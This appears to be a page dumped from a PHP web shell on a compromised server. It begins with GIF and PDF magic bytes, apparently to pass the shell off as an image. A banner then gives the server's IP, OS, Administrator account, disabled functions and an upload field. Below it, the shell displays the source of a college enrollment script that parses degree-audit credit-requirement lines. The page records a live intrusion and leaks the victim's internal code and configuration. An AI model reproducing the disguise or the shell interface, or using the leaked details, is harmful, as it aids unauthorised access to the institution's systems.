GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/Enrollment/parse/ |
Upload File : |
<? // Admin/Enrollment/parse/parseDARS_45_c.phpinc // Parse state 45 // Parse Ed Plan section. // Searching for: // ['CreditsRequired'] #$DEBUG_parseDARS_45_c = true; if ( !isset($DEBUG_parseDARS_45_c) ) $DEBUG_parseDARS_45_c = false; if ( $DEBUG_parseDARS_45_c ) { printVar("$index: \$f_DARSln",$f_DARSln); printVar('$f_DARSlnAsize',$f_DARSlnAsize); printVar('$f_DARSlnA',$f_DARSlnA); } #exit; if ( !$f_error ) { if ( $f_DARSlnAsize >= 5 && ( strtolower($f_DARSlnA[3]) == 'credits' || strtolower($f_DARSlnA[3]) == 'credit' ) && strtolower($f_DARSlnA[4]) == 'required' && is_numeric($f_DARSlnA[2]) ) { if ( $DEBUG_parseDARS_45_c ) printLine('Set $f_NEEDS_found = false.'); $f_NEEDS_found = false; // Set f_NEEDS_found flag to false; There must be a needs line for SELECT FROM to matter. $f_DARS_has_required_credits = true; // This section has 1 set of required credits. $DARS['Section'][$sectionName]['CreditsRequired'] = $f_DARSlnA[2]; } elseif ( $f_DARSlnAsize >= 5 && ( strtolower($f_DARSlnA[3]) == 'courses' || strtolower($f_DARSlnA[3]) == 'course' ) && $f_DARSlnA[4] == 'required' && is_numeric($f_DARSlnA[2]) ) { if ( $DEBUG_parseDARS_45_c ) printLine('Set $f_NEEDS_found = false.'); $f_NEEDS_found = false; // Set f_NEEDS_found flag to false; There must be a needs line for SELECT FROM to matter. #$f_DARS_has_required_credits = true; // This section has 1 set of required credits. $DARS['Section'][$sectionName]['CoursesRequired'] = $f_DARSlnA[2]; } else { // Check for 'credits from the courses listed'. if ( $f_DARSlnAsize >= 5 && ( strtolower($f_DARSlnA[4]) == 'credits' || strtolower($f_DARSlnA[4]) == 'credit' ) && $f_DARSlnA[5] == 'from' && ( ( $f_DARSlnA[6] == 'the' && ( strtolower($f_DARSlnA[7]) == 'courses' || strtolower($f_DARSlnA[7]) == 'course' ) && $f_DARSlnA[8] == 'listed' ) || ( ( strtolower($f_DARSlnA[6]) == 'courses' || strtolower($f_DARSlnA[6]) == 'course' ) && $f_DARSlnA[7] == 'listed' ) ) && is_numeric($f_DARSlnA[3]) ) { if ( $DEBUG_parseDARS_45_c ) printLine('Set $f_NEEDS_found = false.'); $f_NEEDS_found = false; // Set f_NEEDS_found flag to false; There must be a needs line for SELECT FROM to matter. $f_DARS_has_required_credits = false; // This section has multiple sets of courses listed. if ( !isset($DARS['Section'][$sectionName]['CreditsRequired']) ) $DARS['Section'][$sectionName]['CreditsRequired'] = 0; $DARS['Section'][$sectionName]['CreditsRequired'] += $f_DARSlnA[3]; } else { // Check for Additional helpdesk credits line. // Check for Electives if needed to meet line. if ( ( $f_DARSlnA[2] == 'Additional' && $f_DARSlnA[3] == 'helpdesk' && $f_DARSlnA[4] == 'credits' ) || ( $f_DARSlnA[2] == 'Electives' && $f_DARSlnA[3] == 'if' && $f_DARSlnA[4] == 'needed' ) || ( $f_DARSlnA[2] == 'Choose' ) || ( $f_DARSlnA[2] == '2' && $f_DARSlnA[3] == 'credits' && $f_DARSlnA[4] == 'of' && $f_DARSlnA[5] == 'Helpdesk' && ( $f_DARSlnA[6] == 'Diagnostics' || $f_DARSlnA[6] == 'Management' ) && $f_DARSlnA[7] == 'required' ) ) { // Skip the "Additional helpdesk credits" line. // Skip the 'Electives, if needed' line. // Skip the 'Choose' line. if ( $f_DARSlnA[2] == 'Additional' ) $index++; // Skip second line for "Additional helpdesk credits". if ( $DEBUG_parseDARS_45_c ) printLine('Set $f_NEEDS_found = true.'); $f_NEEDS_found = true; // Set f_NEEDS_found flag to true; } else { $f_error = __LINE__; } } } } if ( $f_error ) { $f_error = 'This is not a properly formatted credits required line.<span class=\"pv_fl\"> '.basename(__FILE__).':'.$f_error.'</span>'; set_state(0); } ?>